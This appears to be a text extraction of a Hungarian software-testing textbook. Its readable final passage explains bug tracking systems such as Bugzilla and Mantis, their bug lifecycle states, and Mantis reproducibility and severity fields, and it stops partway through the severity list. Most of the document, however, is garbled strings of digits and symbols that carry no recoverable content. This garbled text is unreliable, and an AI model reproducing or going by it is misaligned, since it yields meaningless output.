238549+23191 8205)0 $6"0#)7$806$096:"7);)0)0%<)1=1 559 382 41234156266585458 5)0 $6"09+2314 238564 5 54+5! 1 >$ 40?4 51-4123415*845 58%9108125%12/191 4115)09+231121461 964111406585-@1A141119 11913115591  B 55C%11/420D4*84821-C1231121/852#00$85234  422391519828%;18*4C1( 62340#04; 621 64*2E4459 5155146411( 62385458 15  2385+854562311141451!5(143848*4824D5458 1 16 5133! F821G11510G /254144821-51 4(C1231162 ( 623489 4 (34!56/25412391 3 5942311852391 613( 623(3 191 (196 1448343  3( 6234561312 1451 12486621616101151/254101156212 41234156212146161912134511426 1485234

H"1$ 91412C441%1&1240$ 964111-5)062$6"0  9641114511491 3)/1235 151314!  6162364611551#00$+ 5824559 3$65853I41 6223+(3+ 58223!26 1239/51)& 52235 151314!  341214523+9C1559 382192389*48 6623646(3(441 1526 150A1 JB51 910B8561-#00$$6"0662121461511426 85 154(546212)19131 491  91585!5115 662 9641164 KL 51 9144410:644E491-8545/2646864 4(5415)349134 2385 45/216191 828915515 48 154(54(448543 M494)410494)4*21-154(54(44854284 491 $6585 #00$8512146141N4O495 1/ 4851214615/4O 91 1515494)4*2 012341562489 482 141155911121290512!"#18 $3448%5&( 

$)1*+ 623,+1&311140&6624,5&-5+&155&6+10 5 58545.4&344&6/1&14621 $64459 &4"/65850115 5& 48+91 4& &662/ 96411424234. 4%& 4141542 $ &6621&&15 9833 )1 5&59 3824+!91+-,5 144! 91+-/ +44&85234+34. 4%&15412341562452,5&599 54141 15%8+5%412341591+46264 15,443+ +4123414444+8+&296 +6.8+$/ 1964141&155855345 ++&2. $412341196+$6491 24%&41&+41+ 41414113621&2319/ +4542. $4123412144448215&-5*+-5%+ 4123415621196+$1&1 $6%46264,562151936264,51 $6%4624375 211!"1 $15,2 $982+61+1+4241+112+ / 441+!"25 196+$$15,011362+458234%91 34815+113624-&*3 414115. 23+858+416236+ 23+854419+ 58 843416&1+$26 1& 6 1. %4828640

+45512!"91365,29333&581 858264 5241+1!"$15,1515,201.84 32 $4123412141196+$14 91 41&+4.122-&21 $5241+1!151914&155 23+85++& 4.1 /!&+%8%1 6 9 5&44+423!29 %25 41+1!91+-/ +4&48523421 $5241+1!54. 4+& 33841234125 14.13985223&91)12542011!16/341445241+1!54  55 5/ +151+&8523491)12542011!&+42%5 5 / +151+91 %151+&&91+14&6/1+$,%15241+1!+196+$15&+5 858218553482&491)12542011!5241+1!515444412341214142 9+1+85233++ 5584. 4829+491 6&13144%5 5/ +151+ 231&13141 $151964&8523422311852312/ +21: 4!-5 544584. 48%5 5/ +1552862361+ 15,4415+34+8+&41234142%151+51 4141&+88491+42-&15  55 5/ +151+412341214&+%1 6 9

5&44+429 % 1 12!91+-/ +4485234 3152,412341214&6231+85548291+-285+!29 %144! 51.14,26 1485234+34 4%&1541234142115,441&44+42+&91) 12542011!1519141234+348248+%5 5/ +151+$*&11 &*+$48&++85&5842. $412341196+$1&15&131+1&6&13+ $*&61/58+&44+4584. 4885+ &31 $1412341196+$1&355 28/ +151+31196+$1&5915$&61&44+491 %151++1&8523  4&2; $9+4514*54621,"131982/11+200<8523&85 %6223*1 1&/ 448523231 64259+422312+988%842 91 41&+4.14%-&"&8&41 8+63141+2/ 21( 012341562489 482 101234119610111 141 !152385"62329645621"23898421 1855#444"$#41234% 42 1 231&444514236"1 5

5"441234154(")44584* 4+$ 1  "662*89"6624119613144$914231!15 584!8#4! ,4*1 %-"&858288591  4" 646"1"14./&4 4482* 3$131"141855#482"4"620%658" 96  2385& /" 141123"131" ,1212542011-"6%10/69 852$1 126!15!6 "444 4 31 1211961"14$19!59* 46"9+41156212412341562  4 "151936261 38545315030%658 1 1 23139+ 23149444"1$9151"5!8!5+ ! ""58443115261 1412389 2123"13315489 4/ 3  43/46246215193624 "1!14"130"141&0123"1316 ,091-)03#40 ,72411-150 8,7 59 4551-7 "!13650 :,4 9%51-4!6415130 ;,9 &<51914-= &85+21855#482"

"1!14"1301"13621"1131123"131">00?*13"%525+&0 /15519304!3285/"91  09103#40 315030%658 1 23854* 23854"$621 "6624"(54("23 1!11"412341&1/1362115044> 329645622389 41  855# 444"!5 1,4*1 %-"&85+/885$"""662215 9 834"!5 1 98248231!14!5+28  1231!1* 23854 012341562489 482 3 19111 2316 46626131 231162 6621344154154651451231 6621528 239585828 3491!151914 4 338 41 "!151913491!1519121 #426 6151855#4 431 12 238566211 28 62211226 1$%1418545489 444 491!4#"2& (1 )155491!*(1 )155+3#4, -. 2444 "4491!*/ 24204112346"1226 +3#4, 1. 244491!*/ 242+3#4,

2)33 491!*)3385+3#4, 45 22 9491!*5 226651451+3#4, 7899 9491!*:651451+3#4, 51 4491!6441 8 25 4&65145162242 . 244491!62 2444 "4491!242491!64#"2 . 244491!1 985 4622426251541462455123413 1 122385854515;54466213662515414624131982"131 15591 35"64159131446411<<. 2444 "4491! 21 #426 615234151;514=;3131982"131155 =5824 1514411855#4 4= 31 122385"1316491662416 185= 35"64159131446467<662"13164 :651451491!4#"2899 9491!625 22 9491! >31491!4#"265145123112389#444625154146211455123411 131 122385854511854662136#25= 239585=8 5258 9 5984899 9491!1

5 651451 625154146234 338985 42426251541462139# 5 22 9491!2442342389#4824 2385"2316 651451625154146241185%646514514#"2?491!1 9856  424233= 338385451185465145162515414624 )33 491!21 #426 6159159; 12341423859621 9#9159; 123414423852389 1 32*1511855#444, 28 4 151969 =1 23111 114=;1559123854>39=4491! =5 2385 4 412341214;1  44" 4=81 15191  48344  28 ?411562123;26 ; (1 )155491!915121 #426 615(1 )15523"414# 4 62515414621185828(1 )155$@>615;59423"415 41 "!=8=1 6 9 54441591;53 !9 =091!91;" 4485234#844#"2?491!151914 012341562489 482  4 33841234121413 41

151913 338  44 491 482254151241 12219951 48225 48241 151911 41 1519134!!4914 3 38 91556 4828 4"  #2411$15% & 8!! 981954144(5241121 426 6151414(9  662114621 85 43119611&8!!658! )1* +1254201152411559 382851(541!19448223118545 223(5 44 4, 948523%-00.8523"62231 1 &524112341 416126 64$1591513 3 38 4.65854142(3&62/41 4&/13 338  44 52411415121$1591(5 94463& 4826!1& 1413%48!5834! 4585 4" 0114185455641591362!1489  4445241142 #2411 #182 &2214+125422355482463145 &41  &2214151 9119114648!835 6755+125422015126$

41512$21 426 6158!8 463145 3566218523164 6+1254226$463145  2318 $6314 41  91662 448523 161845 846223"82848!835  9951: 4;412 2318785!  41234154<+#11462 & 4"5 3852316462%!!1519362 658!"5 )1*+125420 !51208!583408!5834! 11315"2%!1 11 1514625 41414(91  4123411 96114 )1*+1254201127 11 17 244,8! 11315"2 514625 %!141414(91 4123411 96114 & 1 41+1 42=2231 3%0151&31 121%$82"5151491 4625 2231 3%$98"4, 94 66212389 845 28523% 24! 951)2 53126 !111 1&412341214$482 544 $ 514%5 6314!141414(91 322312  44&4123415621196114 41 5854 !1$988! 291 1 51414( &5241115191358!!41 "8! 25

4"> 012341562489 482 2 5345241121 151415  4524112!" 415 #$ 6% 1 1514&15 !()*55+12542,()+1254262 -)512 5319"1. 1&2,/502"%18%8354123411"96114!()*+1. 25421/14138%8584* 40131132551 1 2313%%6251 6)23. 13%%,9156158%8353845 2/8523"4,)225230824,558/5 91"84,315""15384112346)1226 1462&1146/1531 1"" 4) . 44(&6314%191"862384112346)1226 14/1/  !38%8&152/ 523082,3520/ 53845 2/8523",3" 4 ) 44)1") 458%8354 14#4$ )65" ()*+1254252411151915141. %1 !" 45)6&15 $%%141 08% 443 -9)51 4741,18+125420 . %516218+12542011524114)2,9151231/18545/2. 23 " 4412"

445,/8523"/15620"" 5" 5 3 !-9)51 4 7414)21 226&151251 12143*14,9/159"19825241115. 199152&85% 914*14112" 41%% 31214%1, 19 * 238598252411.4,-9)51 4741* 23 251143" 4 91462665!12" 419) 48582&4251*1426 ,231&15. * 23850 511426 1/982123131%19) 48562623514121%%1 15191334 !3" 4&85% * 40 741!55 4451511426 65&85 /85234828/5!5)641591362%1&85&9849:-,"1&8582 9%* 238548/5;<&98492%18554 40 !3! 1 41+1) 4,1 982&4 452411,41%%9412 " 491 15146261* 2385 40&15=+<.1641"131512 012341562489 482  4462385454459 34422312 4 452231 3624235 854431  23 262499415124969 !146261  "#$291

15146262 12  4"#1562134#1 12%5 91 411946261 &#$1( 65 )* 1 411 4+15191,-141.1 / 4551!13650 *) #1/ 4551+2 ##3136504152051 12"15 4 !6 1 482# "59 4!13656210 !8.#"$444 441234121415191144459 3  )41 $+151913 338  44) #1/ 4551+23550129 4 .51 1 2316"$444 4129 4 58423# ) #1/ 4551+ 129 4 3 338  44151913 44) #1/ 4551+23.85#  91 "151501"  51"$4#*)41 $+151913 25 ) #1 / 4551+151913 338  4415191)5#24112+)4#912+24.) #1 / 4551+585#2584 415191#51231*) #1/ 4551+15191 ,-141.14$5 61 9 382#15!17#51"62"$14# $42482# "1515191 131!141308 94151 !1/ 4551 :;7#41/ 4551 <;#951/ 4551 ( / 4551 =9"/ 4551 >?#51/ 4551 @&  1/

4551 A915$1/ 4551 B- $51/ 4551 C11C5/ 4551   9/ 4551  012341562489 482   91 4551 491 4551 0 4 4551 024 4551 1  4551 11 125!599 5"9!3#$4151 %1 4551&(2231)62*5+ ,1365+-23*5+29. 4/51)4"#4551&251)4441 1435810 15415191!!13*52358115415191!51)444828 !21/191 1 13! !)8.2)83 56%+21/*!!1546585" )15 2385.5641 0 3441 #41 &04296456223899 5"625441 #$4151 %1 0 4551&046 5811541519915"!!#4551&151913443.%50 911519895!599 5)451"9 /2131152+!64151996 1 1 1!5!599 5251)45556-23#$4151 %1 0 4551&1519915/.5412341514+35 )5 9 4"9!911 12!662 3+491 15+3+!6622!11231)1/136264+5)* 465851 51%8285. 5!59 3821214631)15

2385.15+23191 !112384"31514123 !283 "91 /!848/ 44"9 /%6 51 1274115624 2#894 4551&: 25.,1365+-914183 1 581154 151914)44451"2!; "943#$4151 %1 4551&"33 "15144"  23 )444851+!14"1 %8543.3 91  48344646!231420 11441!4 2#8951 4551&< 231=,1365+-915811541519151)490  23"823#41 &51)424123415191!5 !1510 136261 2385 4."94 !1%48!)8/51231315 !5 15!*5174!)8/5!4> 1 2!)! 54822537.5 54%14*!58410 1562124123415621!" 23 25114#8951 4551&04 238541234154 )! 5482!62!25.9 5!15%85234828" 41234120 1484584 4.9 /<35 "949! 23)4%1/1!41!120 14631/1!49 5!62)!.!234828%5)!338!23)4%1)10 44 4.28 84 2#? 

4551&$2964562,1365+-!)8.23185574828591  44 5!599 5)444/5131223125811541519140184%591#?   4551&581154151923) 51)4"91318557444646!" 233%23*5+29. 485318557444296456223899 5> 1 #?   4551&29645622389 6 1%3185574%"6223*5+#41 & 29645622389 26 "!!#?  4551&%591581154150 1915!599 5) 51)4 #$) 4551&> ,1365+-21 7426 6%15358115415191!51)4821 )15464154+54114+)* +%6 2#@51 4551&@51,1365+-)444/51;/62;/3581154 15191!14"9791  44)1546415 92 012341562489 482  51 4551 5136521 426 615 15 2385415121 98215!1"5 4 3384123412141315191"14#$ 51 4551 21 426 61592311"14444 4"982235% 6!4&158824#3 "%5((21 23 2&

41234156265231146"5"59 3)* 9 3" 8545"1154+15 238582)5*151"14#34,45515 2385 4"")2& 4123415191")3)")9 3 48265"%5231146"91 4113)1 !41234121414# .1991 51*9  /,1/5! 45512"- !2311365 58115415191)4115621241234156228,2"1 !2314 "51#3 4,4551 2385 4"1314)011514"136251444828&5!5"59 38214)4825641 3828&915!45982412341"% 1"*65851 ! 91 1156215"62346215)182858212146&915!348"6621"1 "11234%59 )*585 4& !089)5!19825!911514156 36261& 915!1",2"1 !231"155514)# $2  9 45516514511365+ !91"()"&9)4334151 1  4551&1 !")641551549334151 1 4551358115415191"141

!98248&210144451&)2  9 45519)15"599 5651451%5852341 !151914358115415191)"(3%5# $0 *4 45515411234"61226 13651 !5!91, )3924235854441234156213&9155!15"5843 4"315"%5(44"6621" 238984#$,45511")"%5(44"6621"1",2"1 !623 59 384"%5)4800358115415191)1"#3623 59 31))85 441512 ! 238356"29 #665850 *4 4551018554 4+ !& ! "6444482" ",2"378238356"84"%514800& !+ !& !,2" 31528"6624#$0 *4 4551+ !)2")85 4& ! /,1/5! 455191"(626448 33#918554 496 + !)2& ! 41 *15190156(22312238541 !%44121"58433& !+ !&  !"%5(-"%5(#3511426 61:2115(56 !31441585234 4# ;

4184134511426 1485234"&,45519)1238541 !1"64 "5843&1551"13121401 "584382"4 31 62341  *- 1 !%441215"59 33# $21,)  45512( 3462136541512115469  2385 4&9)431)),45514*2"#$;0066<!=11123"(3315 1 165!1341414>100( 6238545"%5(44"6621"( 34621&9 3" 15 2385821 !4123412146231"64$;0066<!=111")"%5(44  4"9146261 238521,)  4551-4# = 9*51-9)4641513 $ !343152*658"1214601981954144%"&2951)415191"23111"2389815"%5(44"6621"1411858"#$35800)" !"00  2385429*5142"4 #?0621@124 #;00621@124  012341562489 482 1111124 !"#$ %&1124 &()#1124 *& 1124 +44

+452,16221$ -&.+41124 /!(1124 !84, 40, 1& 141+19223123111241,15621241234156261 , 23+85, 40485434241234121412262354,1461271+4829951:45922 715, 23+858285)8591++14592+ 1+6;12121371<13148=00 112429951:15199157 552326235141211+ # +7>5191+4"2+78021519 8# +7 >5191+4:"12 ? +7802 )185554822$ 715, 23+858285 51,14626 @+2+1552829951:151911 623288543422+7802 18555482245259 3+5852+8=001124:121461++6 12@5A+" A368# +7>5191+4:, 23+85, 40B 8=00=1 ;1 + 1:=00C1< 1+1;321$ D8=004, 34+ + 1:=00=415125462 1+1;321$ 8=00# 21 + 1:=00@4 1+1;321$ %8=001124(17542:=00?662125918555482$ )884,1 ;9:151912,13 11 16829951:"44459 30151" 912,138# +7>5191+4:151912591461+, 338++ 21+;151 5852646212715@5;17+85, 40 231

112829951:151912,132@5A+, 3" 38 ; 448# +7>5191+4:1519121+211234@5 =00=1 ;1 + 1BE6,8+112141+, 15022691429<+235" 259 382415<125496+1665291852=008,1 ;1:1855548223@226 12 65;85, 35259 38285237@ A+ 623645928405915126624 2@5;412223@226 +.21" 1+4913618555482841234266212 1526235462128=00=1 ;1 + 1:, 23+854858,1 ;1:"1+566 91362646219+;1+1 112266212146+1F954185554, 408=00=1 ;" 1 + 1:1519147151,14<@21 18=001124:1519581+;154<126+4 12222131+266212121461+5123152@5;13152623541448,1 ;1:>5" 51+1+, 1 184,1 ;9:1519581+;154<126+41223@2715591++1 84,1 ;9:581+;154266212146+152@5;62121@5185554448,1 ;" 1:2+785821 1231G62+ 1+, 2+5548=001124:1519 E 91H4 519 96411+12185554828, 3 8=004, 34+ +

1:51+2662121421315915112=0041+" 428046+115+128=00=1 ;1 + 1:",13, 2+50 +2A31451+@5  012341562489 482  338  41 001124151913 1 41 15 1913 !"#85821 231$%91 155!#3&4% !! !#41 512(462##!"98)#*491 +85815,51!#%59#!4"15 23!85!11462 1523*4 -389 29 1!.1+559 382 23!852,4#1459#51!9* !/++1! 31214+1!412341214131 000 #11 ! 14155 338 !# 2000 #11 ! 11519!191  4*2,4#5#248%915149#! 1!66212146!15,5351!9* !295161248! 3!#1 5! +4! 62354%9158++ !9891 584 4441 .1+5 540 8++8 000 #11 ! 161248! 3!#+4! 62353!45 !28 84#2%  91 8%4858626,5#2,4#14/!!191 "151551!%6585%  1 2,4##! 9#2! 338!1!1519#!1!1 12584 4* 3% 000 #11 ! 191 %9 9#!1!91 "15155625++#

66212146!6,5#34 245+15# 48296466455", 51!%000 #11 ! 1 338  4* 41 15191362431451!,51 001124151913#2 11 1 133,% 000 #11 ! 12,4#1423857"15 23!85*8 58!48501#!42,!1 92385+*585541 151914 9#! 1!23851 1#2,4#4 ! 3!&13%9#!1!2385284%1 1# 2,4#64" 6,51!#/551!+1!% 2,4#49 !85#2! 3380  #11 ! 1151913%9#!1!23853431 %43422,4#4" 6,51!# 2:1141625++#13#*#+ !(482" 1,5!#13584382 2001124;1"54215196!1591291) !#3924!64#  964116461#!191 2348281 1#001124- 95115 1914344426621# 96411#76 9#!44)5% 24% 4%  462! 91<5181 151!+1855(4 4* %6291 234 4 2951 1519143444 22214#!21551!535 #8+ 852351  559 382#5589 2!%  8523% 9#4  44%

66!4151!22214#!7=55(4828 23!854859*!!(5#66211 96!6!1151226 641551!5#3!#/38545"15 23!85*!19)2231 1852361226 6+1!%191 +(3 4*28 8+ !#2+#3425114!122 214#!1519- 951581!15415196!4 3 4*56417)26 %9#!4 001124- 9518/ 22214#!855(48244459 3%915114 91 155#3285!! 65855641 3 4!1 22214#!4%915+1!4 3(4,% 2311455 #223 448523! 4459 3!#1551#25)23*4/3148!% 3! 00112415198523%91513 338 4322214#!4%!19 4459 331#25)23*4%2214#!"#51#+ ,31!1414! /346 4114,91 % 32 9+44#!4+1(2341 14 91 151!5,122341 9135+1 0 !4#!2)#*!#85234%  012341562489 482 852344598 11219155415123 228  1 412 485234!1415123 228 211226 "15464151# !4815623$4144%1

&221415191423%26 %96 1 &2( 214)12!5425241115191 211262214151852391 1( 51$462613#32214)12!54252411151914*00+)1,!124- 9( 51151923%5.41 !29  48 3155 338 #32214 )12!54252411151921995&1"!84196&15#3 4441  !1519134439122141519911196&6491 1( 51$4#* 31551.3622112662"8284113121413/)0( 43 2$42311 14151$491 #255113.12141 %311415191 "823 2$4544915&18294291 4585 4# 32231" 554184)12 2122141519 2385 4 & 91 3285!1 &8523/)0(4 &413214 &4459 3(11 &15.1 91  449484#0641311 &622144$!224 #5!422146.449755$482425513 & 85231 & 91  44.449 15%56133191 #

8#-312214614755$482485239614641551.384 62 12231 25$41 &91  44646159:;:<:;9:<9# =#>02214>0755$4824?342$4 &85231 &15&121 "98344>051 &1#@191551.3 &5 !9140&151"( 4505 &1 &6269 4$!266&1226 61291 "1515(1# A#>0-19 2214>0269 1551.36242 &>0269 58 1551.33>0(4# 231221415191)12 212214151913 259   "!85 4 62 338 4 1 &41234121413# 44B&211 *00+)1,!12415191623$46211 &.!48"8234885 4#C1( 418545&D444*00++B&-111231321 $426 615&9 11( 414%1 &1 623.4161&26 64621 623662158*00+ )1,!1241519114118544 4!!49 4!2#B&15" 91 6624941

623.%5C14194B&(11234%534C1( 41*00+)1,!1241519965$4# 412341214662115623%541 62.9 "!444 4!62148%5662114652311"156# 25.231 338155!*00++B&-11151914E ?115( 1913#C1 6 9 54442!E ?186285223! 39 @ (012425191426 %51*00++B&-1( 191% 44#B&"!8261&.18F( #88584 4# 1 1 &133% &E ?115195441 &)1 G 4551 21"85915&0 14G 45511519641855$4*00+  012341562489 482 116566214 8423111131!1"#  $ 4551151954485 584% 4&81#  0 9"462(141  3614 6235641591362 2314)*)2 44% 2385+8,4-3  .51611 (141231161 423898484155855/41

1#2318545 19% 23854 42389 0 44124."5#162 441241"5#123-1 9132311  5821+13621#% 4& 91 9151551231#134!5119151 2389800!161241519114118544+783- 6232415+12 59 84% 5#0015191"236621145/4+00 !161241519969151551231#15915"5#19486219 551231#131"5#1948 31855/4442311444 93444#/4% 4+15 15(1414855/444312311649#181323111,5#-44 662(14123116% 5#11234,513114662114(1 4115 +00!161241519965/4+214629 71"%1519 5815144!1"# $ 4551151958%15131513131519148 1 231:184%;3% 4& 41234121458 152344441%156212412341562 0(1411#15131 545+# 28 5% %85&341523444 (14165#84612 #8542/4214  341%156212

41234156 36261131"&156626%131  4-33(14165#84 2119&#3 15515#/41 (141512<1323382(141=4. 41623>612"25&#1 23119&#3 4&(14165#8% 362 8/4340(14151252411123-31+91 23119&#3  4&(14165#8854511854# 441145+# 28  64 51%1426 1215% 23858241,5141? "5354<8583% 4&28 >?0-33 3&55&5 152#5% 4%  1 1451(14165#819612 813 559 3824 6 5141 1582346621151313141214131(14115234444 5+# 28 84% 2385% 4+15%  38 41%15621122,58 813559 38241345+# 28 % 2385% 4&96 3; 113144 #24341##1521"1<@@ >489 #82 #85828915+&5 %  2;533?A11225841%156212412341562158135# 54 9151419442338/482#544B

C1194<31148528 >?D6315+,15% 7# 1241,51 23114641%15621241234144441 (823111A1%6338 95196463115 #1314123411#9664915%85&3462 "29 12346242231114+8423% 4 59 43 E% "2 15223-19 4114123415621"651331312143151%14 26 12% 4123415/842311%1335 -3151223111  012341562489 482 415142141231146234813423114 238541234 485156 362613  !8"891 #$1514 $1 $1415124%""14123! 1148$4  !8"& $1415124%""141231146128$4 %1413("15662(556621"1944 $8554 4"162#4! 44 44123411414123114 2385& 01514224) )141)234"*+,491 #1515(1412311 61

)18$48414165)8$12146"1)4215231! 1#5$9 44141"%$488" 4585 4,9141!211" 4 $ 9141!2112155234#4448285-18+,21)2314(5# (1. /) 025446 91 1511/) 02+ 4#)91 24$2! " 3114""131214"1304%$13148543, 3) 338& 5674859" :512612311234621$2291 141"%$488"  4585 4,91411412#854 ;19 417 24245) 28 41 $91 1 $362"(5628543422 91 * $ $1223(15158523451 $11#15251412311 61351141 $#155) 4,<=>6 $?32389 @?)421514151249141" 4 $91412155234#444828! 5 A=$2291 1 $41234121414 $623421 $*4 1B291"164*5114(26 15191 &1B19 41>442621B19 41 >4231155114(26 11519 417 24245) 28

85#15254 231119)1 $1518554 4, $15)4 4, C3148 $* $ 2385 4141#15 2385,#155146494 8""  0123411)96$16415913621 > ) 4411851 $) 5 6415913341 $982311)96$1 15193626164514(9,)& 01512496$+654D36216234123415621 28583 4,28 584 91 855482 E654D3621624123415621  012341562489 482 1559 382623462611 521 469 1523 41512496654433!"31654459 3 48#1413 9148#591564$ !%13845 2#838291 662415125& !%151  223#8382& (!%1)12662)48#14131 & * 981 2312154 2565491 + 59 3)191 85, 5-4 4) 41234154.1559 38291 +1515,11311!%3/0 , 1 4111- 429/3-112)542524112#85 91 +15151165, ! 06415133+15 #1413234)84$1 1 231.1 5 5 4

)12+15 238541554) 1315 5)12341514  +15 2385194941 982-11645111 6624! %1+15 2385845 45131982-11155-#8523462 (982-19 69852#838296 15+  4!0234)8+5, 44826446415133+15 411562124123415624#6 1343559 38, 2+1465 91 + 59 34446)9 63#1! 028583 428 584 91 855-482 76 415124966519611216231 14519 4#854613 91  48334- 44 5.1559 3822231 95!851 59%1415213152344441234154)5 28 !: 4291 1, 13 2412234123414; 1551562341 #5#58 234)841-131485!7194;5 23 2-658)51 5+98   5555+15 2385915131982-11)12662114 5.1559 38291 829#1551234)8194;5 + 15+)5#5#58  !< 5 23 24))-658)5   455+15 23851 151

5662114=91662344( 982-12314415>.1559 382#8523?2383568  843! <4122341234121463/0 1 4111- 42 5 2385 48 88 8835828 36218554 4 4#8151936265859, 115141384 -533! 0 #81519362 09%141419623141216-12 41512496  44159141  982559 382 15191312234!* 815151 2=32, 914>2-18529%141,1341#13144415124961519312333, 4) 4 6-231- 9 ; 94%2+4"6156-1219, - 485 9%141  446291+651 23 2151462462 +4 62341155!05-64159136219%1419@%A9/B 99 <1- 41C 5)12=B<C>+984)9 154)91413 44!"3  012341562489 482 9141141285 91412121211449 445  28 95 2646185434482858554! 4"1#9141141285 $%1414151462&488 5&48 4585!

4" %41141512496412341562148 #131441512496412341156 362148(! )1 559 3824  522* 45854( 31961291 "315! 2385" 4&91 615(264624613!14+(! 91 556984(522*  4,6231*"515623462615( 4&! 1! 338 8285(62  48-141 +. / 42(! 1 3 242384(9643559 38251522*(62 ! 91 458523,11234914231414031 &2231414415 4(91 5&319,&62461591231923484(9)15 59 3821512346162365 -6!8"482(915121 426 6151 3 24! 441512496 569 82841 /15+123198"4(* 94231123462919" 15! 238582845544647(6244762692447123&3&(8 )2 54460 2%  1762631% 751!14121 426 +1 9#3  4832! 325""15 4  548 415124 9623,11234914231464: 2385

3  4832 84"85 45*444  234123&3&14#63;<7=)));29>!441?? )));29@A1 5482"*123&31165 B:  5  1 14151249641+514191 4585828 )1 5 59 382"84(9341514(! 5" 54+5 59 3824(9151562& 343215 4156 3626!1323+ 26 129126 140342542482988 4&46 !14(91519,15141156 3626!1323+26 124 5"338# 113141584! 44(! ! ! 4! 338 5"3"424824 )1559 382! 3 C: 238556234123&3&14)1559 382151936261( 41!1562 54491 9443"215162 291 15146261 1562346261(6231 129 5!828 8835828 #!821 5 9(91591 944(! 915 12319 59159829 54!-6!86231,)15 59 382546234123&3(151641 11211591142(

6$317=)))D1249?1?A(36E4931F47=))) 59? 49314?A623605217 11260124319 10 52354 97=)))1521?44?A123&31 031123&3&! 238548 65(! 91 ! 48331513559 38 2415124966123,11234914231464: 1 23191 64144+(9  012341562489 482 548231123491423141415131421852 553 35 2231 5582 415124964123415621 421 15  5441!6126  9155144 28583 4"!841143559 382#421 414$4624  31231156462645514%16291 1%246241148&& $462115254& &&111314&1$!1413%469 $$14 41414484( )*1115%4415155$41942 #96625641155  3#1 4123412141441234121414 !84415124961 91 1515%1+91#1215 2385"489 44415!84!8523% 15!848411234%61226 ,6234215

41234121414459 3155239#585!8415 2385"43"44115624915158!143559 382462412341562 $131464 .28583 4"28 +1231361226 191551591 $!11144 41156241315415124966291 &3 4"28 2$162655,4$&& 4613%4%5 0 94123112146&1514613%231!1 !1234!1#8"624151462414/8 01*141141441512# 5482/5482"/4123415%125$&$3%11414115621241234156213 2385 4"41154 &19#4482 34151249641234156261&1113621#48 4123411961 21 411151  1 141512496 843496  315%44155 91 41915%44&8951!854344824 48!6 141512496 $!156261658&"5  Szoftver tesztelés 9 Hibakövető rendszerek Egy szoftver készítése során és átadása után is merülhetek fel problémák a működéssel

kapcsolatban. A szoftver készítése során és gyakran az átadás után is tesztelők keresnek hibákat, illetve az átadás után a felhasználók futhatnak be egy-egy hibába. Ezeket a hibákat javítani kell, amihez a programozóknak értesülniük kell a hibákról. A hiba felfedezője és a fejlesztők között a hibakövető (bug tracking) rendszerek teremtik meg a kapcsolatot. A hibakövető rendszereket néha hívják hibabejelentő rendszereknek is. Hibakövető rendszer például:
a JIRA,
a BugTracker.NET,
a Mantis,
és a Bugzilla is. Ebben a jegyzetben a Bugzilla és a Mantis rendszert mutatjuk be. 9.1 Bugzilla A hibakövető rendszerek legfontosabb tulajdonsága, hogy milyen életútja lehet a hibának a rendszeren belül. Ezt a hibakövető rendszer állapot gépe írja le Az alábbi ábrán a Bugzilla állapot gépét láthatjuk: 9-1 Szoftver tesztelés A hiba legegyszerűbb életútja a következő:
A hibát bejelenti a tesztelő vagy a felhasználó.

Fontos, hogy minél részletesebb legyen a hiba leírása, hogy reprodukálható legyen. Ekkor a hiba Új állapotú lesz
Az új hibákról értesítést kap a vezető fejlesztő, aki a hibát hozzárendeli az egyik fejlesztőhöz, általában ahhoz, aki a hibás funkciót fejlesztette. Ekkor a hiba 9-2 Szoftver tesztelés Hozzárendelt állapotba kerül.
A fejlesztő a hozzárendelt hibát megpróbálja reprodukálni. Ha ez sikerül és megtalálja a hiba okát is, akkor javítja a hibát. A javítást feltölti a verziókövető rendszerbe, majd jelzi, hogy megoldotta a hibát. Ilyenkor érdemes egy regressziós tesztet csinálni, hogy meggyőződjünk, hogy a javítás nem okoz-e más hibákat. Ekkor a hiba Megoldott állapotú lesz.
A megoldott hiba visszakerül az azt bejelentő tesztelőhöz, vagy esetleg egy másikhoz. A tesztelő ellenőrzi, hogy tényleg megoldódott a hiba. Ha igen, akkor véget ér a hiba életútja, az állapota lezárt lesz. Az optimális

lefutástól sok helyen eltérhetünk. Például kiderül, hogy a hiba nem reprodukálható, vagy a megoldott hibáról kiderülhet, hogy még mindig fennáll. Ezeket a lehetőségeket mind lefedi a fenti állapotgép. 9.2 Mantis Ebben a fejezetben a Mantis (magyarul imádkozó sáska) ingyenes hibakövetést támogató rendszert mutatjuk be. Az alábbi ábra a Mantis állapot gépét szemlélteti Itt láthatjuk, hogy az egyes állapotokból, hogyan jut át a másikba a hiba. 9-3 Szoftver tesztelés Tekintsük át, hogyan halad a folyamat egy hiba bejelentésétől annak lezárásáig. Először is a rendszerhez hozzáféréssel kell rendelkeznie a bejelentőnek. Viszonylag egyszerű, ha belső tesztelésről van szó, mert ott többnyire adott a jogosultság a hibabejelentésre. Származhat a bejelentés a megrendelőtől is, aki kapott tesztelésre egy korai verziót, vagy ami rosszabb, már rendelkezik egy kész, kiadott verzióval. Elképzelhető olyan bejelentés is, amikor

mi vesszük fel a rendszerbe a hibát, az ügyfél telefonos elmondása, vagy levele alapján. A hiba 9-4 Szoftver tesztelés bejelentője a rendszerbe bejelentkezve láthatja minimum a saját maga bejelentette hibákat, állapotukat és a hozzá fűzött megjegyzéseket, valamint ő maga is további információkat fűzhet a bejelentéshez, sőt, erre gyakran meg is kérik a hibajavítók a bejelentőt. A Mantis rendszerben vázlatosan az alábbi módon történik a hibakezelés:
A hibát bejelentik. Ezt a hibabejelentést a hibás szoftverhez rendeljük (hiszen egy hibakövető rendszer több szoftver hibáit, illetve egy szoftver több verziójának hibáit is tartalmazhatja), elláthatjuk kategóriával, reprodukálhatósággal és súlyossággal. Kezdetben állapota Új lesz, ami a későbbiekben folyamatosan változik, a hiba javítása során.
Kategóriákat magunk adhatunk meg a tesztelt rendszer igényei szerint. A későbbiekben, a hibákat bejelentő felhasználók,

ezekbe a kategóriákba sorolhatják a hibákat.
A bejelentésnek lehet reprodukálhatósága:
Mindig: Leírásában megadott lépéseket megismételve, a hiba mindig jelentkezik.
Néha: Nem minden esetben jelentkezik. Ez többszálú programokra jellemző
Véletlenszerű: Véletlenszerűen jelentkezik. Ebben az esetben nagyon fontos, hogy megadjuk a hiba észlelésének pontos időpontját, hogy a fejlesztők a rendszer napló állományban visszakereshessék a hiba előtti állapotot, amiből rekonstruálható a hibát kiváltó események sora.
Nem ismételhető: Nem tudtuk megismételni. Ebben az esetben is nagyon fontos, hogy megadjuk a hiba észlelésének pontos időpontját.
A bejelentésnek lehet súlyossága:
Funkció: Funkció hibás működése.
